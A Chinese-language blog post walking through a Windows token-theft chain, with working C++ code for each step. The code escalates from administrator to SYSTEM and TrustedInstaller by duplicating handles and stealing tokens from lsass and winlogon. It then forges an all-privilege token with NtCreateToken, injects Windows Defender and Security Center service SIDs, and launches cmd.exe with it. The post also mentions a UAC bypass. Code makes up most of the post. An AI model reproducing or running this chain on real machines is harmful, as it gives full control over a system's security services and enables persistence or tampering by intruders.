伪造令牌提权Windows ring3 最高权限

伪造令牌提权Windows ring3 最高权限

起因是我想在搞一些操作windows进程的事情时,老是需要右键以管理员身份运行,感觉很麻烦。就研究了一下怎么提权,顺手瞄了一眼Windows下用户态权限分配,然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧,写了两三天,成功获取了用户态下所有特权+用户组。

一、windows的权限

在 Windows 操作系统中,“你是谁”以及“你能做什么”完全由一个核心内核对象决定。无论是用户登录、服务启动,还是进程创建,Windows 安全引用监视器(SRM)都会为每个进程分配一个令牌。Windows 的权限机制并不是一个单点功能,而是一整套围绕“对象”“身份”“能力”展开的安全体系。它的核心目标只有一个:在多用户、多进程、多权限级别共存的环境中,让系统既能安全运行,又能灵活扩展。

这套机制的关键在于三个概念:安全主体、访问令牌、受保护对象。Windows 不关心你写了什么代码,只关心你的线程当前挂着哪一张令牌,以及你试图触碰的对象设置了怎样的门禁。

在 Windows 中,真正参与权限判断的不是“用户”这个抽象概念,而是 Security Principal。它可以是本地用户、域用户、系统账户,甚至是服务账户。每一个 Security Principal 在系统中都有一个唯一的 SID,这个 SID 就像身份证号码一样,贯穿其一生。

当你登录系统时,无论是交互式登录、服务启动,还是计划任务触发,LSASS 都会负责认证你的身份,并为你生成一个访问令牌。这个令牌不是简单的“你是谁”,而是一个完整的能力集合快照。

这个快照在登录完成后通常是静态的,除非显式进行特权调整或令牌复制。也正因为如此,Windows 的提权行为,本质上不是“获得新能力”,而是“获得另一张令牌”。

1.令牌的结构

令牌中包含用户 SID 和所属的所有组 SID。这些组并不只是显示在“用户属于 Administrators”那么简单,还包括诸如 INTERACTIVE、SERVICE、AUTHENTICATED USERS 等隐式组。每一个组都可以被启用、禁用,或者标记为仅用于拒绝访问。

令牌中还包含一组特权,也就是 Privileges,例如 SeDebugPrivilege、SeLoadDriverPrivilege、SeImpersonatePrivilege 等。这些特权并不是默认全部启用的,大多数处于 Disabled 状态,需要显式调整。

此外,令牌还携带完整性级别。自 Windows Vista 起,引入了强制完整性控制机制,低完整性进程即便拥有访问控制列表允许的权限,也可能被完整性策略直接拦截。

最后,令牌还记录了是否为主令牌还是模拟令牌,这个细节直接决定了它能否被用于创建新进程。

二、申请UAC和调试权限

1.强制管理员运行

函数 IsRunAsAdmin() 通过检查当前令牌是否含有 DOMAIN_ALIAS_RID_ADMINS(管理员组 SID)来判断权限。 如果不是管理员,SelfElevate() 函数利用了一个经典技巧:ShellExecuteExW 配合 runas 动词。

原理runas 会触发 Windows 的用户账户控制(UAC)机制。如果当前用户在管理员组但以中等完整性级别(Medium Integrity Level)运行,这会弹窗请求提升。这是本程序中唯一一处需要用户给权的代码。(uac似乎也能绕过,更改环境变量+劫持dll)

BOOL IsRunAsAdmin() {
    BOOL fIsRunAsAdmin = FALSE;
    PSID pAdminSID = NULL;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;

    if (AllocateAndInitializeSid(
            &NtAuthority,
            2,
            SECURITY_BUILTIN_DOMAIN_RID,
            DOMAIN_ALIAS_RID_ADMINS,
            0,
            0,
            0,
            0,
            0,
            0,
            &pAdminSID)) {
        if (!CheckTokenMembership(NULL, pAdminSID, &fIsRunAsAdmin)) {
            fIsRunAsAdmin = FALSE;
        }
        FreeSid(pAdminSID);
    }
    return fIsRunAsAdmin;
}
void SelfElevate() {
    WCHAR szPath[MAX_PATH];
    if (GetModuleFileNameW(
            NULL,
            szPath,
            ARRAYSIZE(szPath))) {
        SHELLEXECUTEINFOW sei = {sizeof(sei)};
        sei.cbSize = sizeof(sei);
        sei.lpVerb = L"runas";
        sei.lpFile = szPath;
        sei.hwnd = NULL;
        sei.nShow = SW_NORMAL;

        if (!ShellExecuteExW(&sei)) {
            std::wcout << L"[-] User refused UAC elevation." << std::endl;
        } else {
            exit(0);
        }
    }
}
if (!IsRunAsAdmin()) {
        std::wcout << L"[*] Not Admin. Requesting elevation..." << std::endl;
        SelfElevate();
        return 0;
    }

2.开启SeDebugPrivilege特权

OpenProcessToken -> LookupPrivilegeValue -> AdjustTokenPrivileges

SeDebugPrivilege 是 Windows中最强大的特权之一。官方描述是“调试程序”,但实际上它允许持有者打开任何进程的句柄,拥有 PROCESS_ALL_ACCESS 权限,即使该进程属于 SYSTEM 或其他用户。一旦开启此特权,Windows 的“进程隔离”防线对攻击者而言就不复存在了。

bool EnableDebugPrivilege() {
    HANDLE hToken;
    if (!OpenProcessToken(
            GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        return false;

    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        CloseHandle(hToken);
        return false;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    bool result = AdjustTokenPrivileges(
            hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            NULL,
            NULL);
    CloseHandle(hToken);
    return result && (GetLastError() == ERROR_SUCCESS);
}

三、Admin提权到 SYSTEM

1.句柄爆破

GetSystemTokenViaBruteForce() 函数展示了一种极其野蛮但有效的技术。 通常,要获取 SYSTEM 令牌,攻击者会尝试注入系统进程。但这种方式容易被杀软拦截。所以我的代码选择了“偷句柄”。

  1. 内存分配循环NtQuerySystemInformation(SystemHandleInformation, ...) 的返回长度是不确定的。用一个 while 循环,不断尝试分配更大的内存(STATUS_INFO_LENGTH_MISMATCH),直到缓冲区足够容纳成千上万个系统句柄。

  2. 遍历与过滤:代码遍历每一个 SYSTEM_HANDLE_TABLE_ENTRY_INFO

    if (entry.UniqueProcessId == myPid) continue;:跳过自己。

    DuplicateHandle(...):这是最关键的一步。强行将别人的句柄“复制”到自己的进程空间中。

HANDLE GetSystemTokenViaBruteForce() {
    if (!pNtQuerySystemInformation) return NULL;

    ULONG bufferSize = 0x10000;
    PVOID buffer = malloc(bufferSize);
    ULONG returnLength = 0;
    NTSTATUS status;

    // 1. 获取所有句柄信息
    while ((status = pNtQuerySystemInformation(
            SystemHandleInformation,
            buffer,
            bufferSize,
            &returnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
        free(buffer);
        bufferSize = returnLength + 0x1000;
        buffer = malloc(bufferSize);
    }

    if (status != 0) {
        free(buffer);
        return NULL;
    }

    PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer;
    DWORD myPid = GetCurrentProcessId();
    HANDLE hBestToken = NULL;

    std::wcout << L"[*] [Step 1] Brute-forcing " << handleInfo->NumberOfHandles << L" system handles..." << std::endl;

    for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO& entry = handleInfo->Handles[i];
        if (entry.UniqueProcessId == myPid) continue;

        HANDLE hSourceProcess = OpenProcess(
                PROCESS_DUP_HANDLE,
                FALSE,
                entry.UniqueProcessId);
        if (!hSourceProcess) continue;

        HANDLE hDupHandle = NULL;
        if (!DuplicateHandle(
                hSourceProcess,
                (HANDLE)(uintptr_t)entry.HandleValue,
                GetCurrentProcess(),
                &hDupHandle,
                0,
                FALSE,
                DUPLICATE_SAME_ACCESS)) {
            CloseHandle(hSourceProcess);
            continue;
        }

        // 检查对象类型
        UCHAR typeInfoBuffer[0x1000];
        PMY_PUBLIC_OBJECT_TYPE_INFORMATION typeInfo = (PMY_PUBLIC_OBJECT_TYPE_INFORMATION)typeInfoBuffer;
        NTSTATUS status;

        status = pNtQueryObject(
                hDupHandle,
                ObjectTypeInformation,
                typeInfoBuffer,
                sizeof(typeInfoBuffer),
                NULL);
        if (status < 0) {
            goto LoopCleanup;
        }

        if (!typeInfo->TypeName.Buffer || _wcsicmp(typeInfo->TypeName.Buffer, L"Token") != 0) {
            goto LoopCleanup;
        }

        if (!IsSystemToken(hDupHandle)) {
            goto LoopCleanup;
        }

        TOKEN_STATISTICS stats;
        DWORD len;
        if (!GetTokenInformation(
                hDupHandle,
                TokenStatistics,
                &stats,
                sizeof(stats),
                &len) ||
            stats.TokenType != TokenPrimary) {
            goto LoopCleanup;
        }

        DuplicateTokenEx(
                hDupHandle,
                MAXIMUM_ALLOWED,
                NULL,
                SecurityImpersonation,
                TokenPrimary,
                &hBestToken);

        EnableAllPrivilegesForToken(hBestToken);

        std::wcout << L"    [+] FOUND SYSTEM TOKEN at Source PID: " << entry.UniqueProcessId << std::endl;

        CloseHandle(hDupHandle);
        CloseHandle(hSourceProcess);
        goto Cleanup;

        LoopCleanup:
        CloseHandle(hDupHandle);
        CloseHandle(hSourceProcess);
    }

    Cleanup:
    free(buffer);
    return hBestToken;
}

2.筛选

复制过来的句柄成千上万,如何找到有价值的?

  1. 类型检查:使用 NtQueryObject 查询对象类型,只保留 L"Token" 类型的句柄。
  2. 身份验证IsSystemToken() 函数读取令牌的用户 SID,利用 IsWellKnownSid(..., WinLocalSystemSid) 确认这个令牌属于 SYSTEM
  3. 最终获取:一旦找到,代码立即调用 DuplicateTokenEx 将其转换为一个主令牌(Primary Token),并调用 EnableAllPrivilegesForToken 激活其中所有休眠的特权(如 SeTcbPrivilege 等)。

此时,通过ImpersonateLoggedOnUser,已经从 Admin 变成了 SYSTEM。

// Admin -> SYSTEM
    HANDLE hSystemToken = GetSystemTokenViaBruteForce();
    if (!hSystemToken) {
        std::wcout << L"[-] Failed to get SYSTEM token." << std::endl;
        return 1;
    }
    std::wcout << L"[+] Step 1 Complete: Acquired SYSTEM token (Privileges Enabled)." << std::endl;


    // 模拟 SYSTEM 身份 (为了能够控制服务)
    if (!ImpersonateLoggedOnUser(hSystemToken)) {
        std::wcout << L"[-] Impersonation failed." << std::endl;
        return 1;
    }

四、System提权到TrustedInstaller

在 Windows Vista 之后,SYSTEM 不再是最高权限。为了防止系统文件被篡改,微软引入了 Windows Resource Protection (WRP),其所有者是 TrustedInstaller

1.服务控制与劫持

通过 StartTrustedInstallerService() 确保 TrustedInstaller 服务正在运行。如果服务没开,攻击无法继续,所以必须先 StartService

bool StartTrustedInstallerService() {
    SC_HANDLE hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCManager) return false;

    SC_HANDLE hService = OpenServiceW(
            hSCManager,
            L"TrustedInstaller",
            SERVICE_START | SERVICE_QUERY_STATUS);
    if (!hService) {
        CloseServiceHandle(hSCManager);
        return false;
    }

    SERVICE_STATUS_PROCESS ssp;
    DWORD bytesNeeded;
    QueryServiceStatusEx(
            hService,
            SC_STATUS_PROCESS_INFO,
            (LPBYTE)&ssp,
            sizeof(SERVICE_STATUS_PROCESS),
            &bytesNeeded);

    if (ssp.dwCurrentState != SERVICE_RUNNING) {
        std::wcout << L"    [*] Starting TrustedInstaller service..." << std::endl;
        StartService(hService, 0, NULL);
        Sleep(2000);
    } else {
        std::wcout << L"    [*] TrustedInstaller service is already running." << std::endl;
    }

    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
    return true;
}

2.令牌窃取与模拟

GetTrustedInstallerToken() 函数执行了令牌窃取流程:

  1. 获取 PID:通过 GetPidByName(L"TrustedInstaller.exe")

  2. 打开进程OpenProcess

  3. 复制令牌DuplicateTokenEx

  4. 关键动作ImpersonateLoggedOnUser

    这一步将当前线程的上下文切换为 TrustedInstaller。这非常重要,因为后续的许多操作(修改 ACL)依赖于当前线程的身份,而不是进程身份。

HANDLE GetTrustedInstallerToken() {
    std::wcout << L"[*] [Step 2] Escalating to TrustedInstaller..." << std::endl;

    if (!StartTrustedInstallerService()) {
        std::wcout << L"    [-] Failed to start service." << std::endl;
        return NULL;
    }

    DWORD pid = GetPidByName(L"TrustedInstaller.exe");
    if (pid == 0) {
        std::wcout << L"    [-] TrustedInstaller.exe process not found." << std::endl;
        return NULL;
    }

    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    if (!hProcess) return NULL;

    HANDLE hToken = NULL;
    OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken);

    HANDLE hNewToken = NULL;
    if (hToken) {
        DuplicateTokenEx(
                hToken,
                MAXIMUM_ALLOWED,
                NULL,
                SecurityImpersonation,
                TokenPrimary,
                &hNewToken);

        std::wcout << L"    [*] Enabling all privileges for TrustedInstaller token..." << std::endl;
        EnableAllPrivilegesForToken(hNewToken);

        CloseHandle(hToken);
    }

    CloseHandle(hProcess);
    return hNewToken;
}

五、伪造全特权令牌

1.利用TrustedInstaller获取SeCreateTokenPrivilege特权

为了能够创造新的令牌,我们需要获取SeCreateTokenPrivilege特权。

ScanAndStealTokens() 中,代码遍历所有进程,重点关注 lsass.exe(本地安全机构子系统服务)和 winlogon.exelsass.exe 是 Windows 安全的心脏,它负责处理登录、验证和策略。因此,它天然拥有创建令牌的权力。 HasSeCreateTokenPrivilege() 函数检查目标令牌。这是一个非常罕见的特权。普通管理员没有,甚至普通的 SYSTEM 进程也不一定有。只有 lsass.exe 等极少数核心进程拥有。一旦找到拥有此特权的令牌,代码将其保存到 stolenTokens 向量中,并标记为“Terminator: Found special process”。这个令牌将成为后续“伪造工厂”的原材料。

std::vector<HANDLE> ScanAndStealTokens() {
    std::vector<HANDLE> stolenTokens;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hSnapshot == INVALID_HANDLE_VALUE) return stolenTokens;

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);

    if (!Process32FirstW(hSnapshot, &pe)) {
        return stolenTokens;
    }

    do {
        // 1. 过滤系统基础进程
        if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
            continue;

        // 2. 尝试获取进程句柄
        HANDLE hProcess = OpenProcess(
                PROCESS_QUERY_INFORMATION,
                FALSE,
                pe.th32ProcessID);
        if (!hProcess) {
            hProcess = OpenProcess(
                    PROCESS_QUERY_LIMITED_INFORMATION,
                    FALSE,
                    pe.th32ProcessID);
        }

        if (!hProcess) continue;

        // 3. 尝试打开进程 Token
        HANDLE hToken = NULL;
        if (!OpenProcessToken(
                hProcess,
                TOKEN_QUERY | TOKEN_DUPLICATE,
                &hToken)) {
            CloseHandle(hProcess);
            continue;
        }

        if (!HasSeCreateTokenPrivilege(hToken)) {
            CloseHandle(hToken);
            CloseHandle(hProcess);
            continue;
        }

        wprintf(L"[+] Terminator: Found special process [%d] %s\n", pe.th32ProcessID, pe.szExeFile);

        HANDLE hNewToken = NULL;
        if (DuplicateTokenEx(
                hToken,
                TOKEN_ALL_ACCESS,
                NULL,
                SecurityImpersonation,
                TokenPrimary,
                &hNewToken)) {
            if (_wcsicmp(pe.szExeFile, L"lsass.exe") != 0 &&
                _wcsicmp(pe.szExeFile, L"winlogon.exe") != 0) {
                continue;
            }
            stolenTokens.push_back(hNewToken);
            wprintf(L"    -> Token stolen and stored! Handle: 0x%p\n", hNewToken);
        }

        CloseHandle(hToken);
        CloseHandle(hProcess);

    } while (Process32NextW(hSnapshot, &pe));

    CloseHandle(hSnapshot);
    return stolenTokens;
}

2.伪造令牌

我们预定义了一个目标服务列表 targetServices,包含:

  • NT SERVICE\WinDefend (Windows Defender)
  • NT SERVICE\TrustedInstaller
  • NT SERVICE\SecurityHealthService (安全中心)
  • ...

代码遍历这些服务名,使用 LookupAccountNameW 获取它们对应的 SID(安全标识符)。这些 SID 代表了对反病毒软件、防火墙和系统核心组件的控制权。

然后在内存中,代码分配了一个巨大的缓冲区来存放 TOKEN_GROUPS 结构体。它首先复制了源令牌(通常是 lsass.exe 的令牌)中的所有组。然后,它将上述收集到的 7 个高危 SID 追加到组列表中。关键属性设置ATTR_INJECT = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER。这意味着新令牌不仅属于这些组,而且默认启用这些组的权限,甚至拥有这些组对象的所有权!

然后循环遍历 LUID 从 2 到 MAX_PRIV_COUNT (45)。将每一个特权都设置为 SE_PRIVILEGE_ENABLED。 这不仅包括常见的 SeDebugPrivilege,还包括 SeTcbPrivilege(作为操作系统一部分行事)、SeTakeOwnershipPrivilege(接管所有权)等。

HANDLE ForgeSystemToken(HANDLE hSourceToken, const std::vector<PSID>& sidsToInject) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    auto NtCreateToken = (PNT_CREATE_TOKEN)GetProcAddress(hNtdll, "NtCreateToken");

    if (!NtCreateToken) {
        std::cerr << "[-] Failed to resolve NtCreateToken" << std::endl;
        return NULL;
    }

    std::vector<BYTE> bufStats, bufSource, bufUser, bufGroups, bufPrivs, bufOwner, bufPrimary, bufDacl;

    if (!GetTokenInfo(hSourceToken, TokenStatistics, bufStats) ||
        !GetTokenInfo(hSourceToken, TokenSource, bufSource) ||
        !GetTokenInfo(hSourceToken, TokenUser, bufUser) ||
        !GetTokenInfo(hSourceToken, TokenGroups, bufGroups) ||
        !GetTokenInfo(hSourceToken, TokenPrivileges, bufPrivs) ||
        !GetTokenInfo(hSourceToken, TokenOwner, bufOwner) ||
        !GetTokenInfo(hSourceToken, TokenPrimaryGroup, bufPrimary) ||
        !GetTokenInfo(hSourceToken, TokenDefaultDacl, bufDacl)) {
        std::cerr << "[-] Failed to query source token information." << std::endl;
        return NULL;
    }

    PTOKEN_USER pUser = (PTOKEN_USER)bufUser.data();
    PTOKEN_GROUPS pOriginalGroups = (PTOKEN_GROUPS)bufGroups.data();
    PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)bufPrivs.data();
    PTOKEN_OWNER pOwner = (PTOKEN_OWNER)bufOwner.data();
    PTOKEN_PRIMARY_GROUP pPrimaryGroup = (PTOKEN_PRIMARY_GROUP)bufPrimary.data();
    PTOKEN_DEFAULT_DACL pDefaultDacl = (PTOKEN_DEFAULT_DACL)bufDacl.data();
    PTOKEN_STATISTICS pStats = (PTOKEN_STATISTICS)bufStats.data();
    PTOKEN_SOURCE pSource = (PTOKEN_SOURCE)bufSource.data();


    DWORD newGroupCount = pOriginalGroups->GroupCount + (DWORD)sidsToInject.size();

    std::vector<BYTE> newGroupsBuffer(
            sizeof(TOKEN_GROUPS) + (newGroupCount * sizeof(SID_AND_ATTRIBUTES)) + 0x1000);
    PTOKEN_GROUPS pNewGroups = (PTOKEN_GROUPS)newGroupsBuffer.data();
    pNewGroups->GroupCount = newGroupCount;

    for (DWORD i = 0; i < pOriginalGroups->GroupCount; i++) {
        pNewGroups->Groups[i].Sid = pOriginalGroups->Groups[i].Sid; // 注意:这里直接复制指针,需确保源 buffer 不释放
        pNewGroups->Groups[i].Attributes = pOriginalGroups->Groups[i].Attributes;
    }

    DWORD const ATTR_INJECT = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER; // 14 (0xE)

    for (size_t i = 0; i < sidsToInject.size(); i++) {
        DWORD currentIndex = pOriginalGroups->GroupCount + (DWORD)i;
        pNewGroups->Groups[currentIndex].Sid = sidsToInject[i];
        pNewGroups->Groups[currentIndex].Attributes = ATTR_INJECT;
    }

    SECURITY_QUALITY_OF_SERVICE sqos = {
            sizeof(sqos),
            SecurityImpersonation,
            SECURITY_DYNAMIC_TRACKING,
            FALSE };
    OBJECT_ATTRIBUTES oa = {
            sizeof(oa),
            0,
            0,
            0,
            0,
            &sqos };

    HANDLE hNewToken = NULL;
    LUID authId = SYSTEM_LUID;
    LARGE_INTEGER expTime = { 0xFFFFFFFF, 0x7FFFFFFF }; // Infinite


    std::vector<BYTE> fullPrivsBuffer(
            sizeof(TOKEN_PRIVILEGES) + (MAX_PRIV_COUNT * sizeof(LUID_AND_ATTRIBUTES)));
    PTOKEN_PRIVILEGES pFullPrivs = (PTOKEN_PRIVILEGES)fullPrivsBuffer.data();

    DWORD privCount = 0;
    for (DWORD i = 2; i < MAX_PRIV_COUNT + 2; i++) {
        LUID luid = { i, 0 };
        wchar_t name[256];
        DWORD nameLen = 256;
        if (LookupPrivilegeNameW(NULL, &luid, name, &nameLen)) {
            pFullPrivs->Privileges[privCount].Luid = luid;
            pFullPrivs->Privileges[privCount].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;
            privCount++;
        }
    }
    pFullPrivs->PrivilegeCount = privCount;

    PSID pSystemSid = NULL;
    SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
    AllocateAndInitializeSid(
            &ntAuthority,
            1,
            SECURITY_LOCAL_SYSTEM_RID,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            &pSystemSid);

    TOKEN_USER systemUser = { 0 };
    systemUser.User.Sid = pSystemSid;
    systemUser.User.Attributes = 0;

    TOKEN_OWNER tokenOwner = { pSystemSid };
    TOKEN_PRIMARY_GROUP tokenPrimaryGroup = { pSystemSid };

    NTSTATUS status = NtCreateToken(
            &hNewToken,
            TOKEN_ALL_ACCESS,
            &oa,
            TokenPrimary,
            &authId,      // SYSTEM_LUID
            &expTime,
            &systemUser,  // User
            pNewGroups,   // Groups
            pFullPrivs,   // Privileges
            &tokenOwner,  // Owner
            &tokenPrimaryGroup, // PrimaryGroup
            pDefaultDacl, // 可以沿用旧的,或者构造一个允许 SYSTEM 访问的 DACL
            pSource
    );

    if (status == 0 && hNewToken != NULL) {
        std::wcout <<L"[+] Token Forged Successfully! Handle: " << hNewToken << std::endl;
        return hNewToken;
    } else {
        std::wcerr << L"[-] NtCreateToken failed. NTSTATUS: 0x" << std::hex << status << std::endl;
        if (status == 0xC0000061)
            std::wcerr << L"    STATUS_PRIVILEGE_NOT_HELD (Need SeCreateTokenPrivilege)" << std::endl;
        return NULL;
    }
}

六、执行与利用

拥有了伪造的令牌后,代码使用 CreateProcessWithTokenW,以全特权+全所属组的方式启动cmd:

if (!ImpersonateLoggedOnUser(hSystemToken)) {
        std::wcout << L"[-] Impersonation failed." << std::endl;
        return 1;
    }
    std::wcout << L"[+] Impersonation Active: Thread is now SYSTEM." << std::endl;


    // SYSTEM -> TrustedInstaller
    HANDLE hTIToken = GetTrustedInstallerToken();
    if (!hTIToken) {
        std::wcout << L"[-] Failed to get TrustedInstaller token." << std::endl;
        RevertToSelf();
        return 1;
    }
    std::wcout << L"[+] Step 2 Complete: Acquired TrustedInstaller token (Privileges Enabled)." << std::endl;

    if (ImpersonateLoggedOnUser(hTIToken)) {
        std::wcout << L"\n[*] Impersonating TrustedInstaller to attack ACL..." << std::endl;
    } else {
        std::wcout << L"[-] Failed to impersonate TrustedInstaller for ACL modification." << std::endl;
    }

    std::vector<HANDLE> tokens = ScanAndStealTokens();

    if (tokens.empty()) {
        std::wcout << L"[-] No special tokens found." << std::endl;
        return 1;
    }

    std::wcout << L"[+] Collected " << tokens.size() << L" candidate tokens." << std::endl;

    if (ImpersonateLoggedOnUser(tokens.back()))
        std::wcout << L"[+] Impersonation Successful!" << std::endl;


    std::vector<PSID> injectedSIDs;
    std::wcout << L"[*] Resolving Service SIDs..." << std::endl;

    for (const auto& svc : targetServices) {
        PSID pSid = GetSidForService(svc);
        if (pSid) {
            injectedSIDs.push_back(pSid);
        } else {
            std::wcout << L"    [-] Failed to resolve: " << svc << std::endl;
        }
    }

    HANDLE hCurrentToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hCurrentToken);

    // 3. 执行伪造
    HANDLE hForgedToken = ForgeSystemToken(hCurrentToken, injectedSIDs);

    if(!hForgedToken) {
        std::wcout << L"    [-] Failed to forged  " << std::endl;
        return 1;
    }
    // 启动 CMD
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    std::wcout << L"[*] Launching CMD " << std::endl;
    if (ImpersonateLoggedOnUser(hForgedToken ))
        std::wcout << L"[+] Impersonation Successful!" << std::endl;

    if (CreateProcessWithTokenW(
            hForgedToken,
            1,
            L"C:\\Windows\\System32\\cmd.exe",
            NULL,
            CREATE_NEW_CONSOLE,
            NULL,
            NULL,
            &si,
            &pi)) {
        std::wcout << L"\n[SUCCESS] PID: " << pi.dwProcessId << L". Check 'whoami /groups'." << std::endl;
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        std::wcout << L"    [-] Launch failed. Error: " << GetLastError() << std::endl;
    }

最终的whoami /all如下图所示:

image

posted @ 2026-01-27 13:03  纸飞机低空飞行  阅读(146)  评论(0)    收藏  举报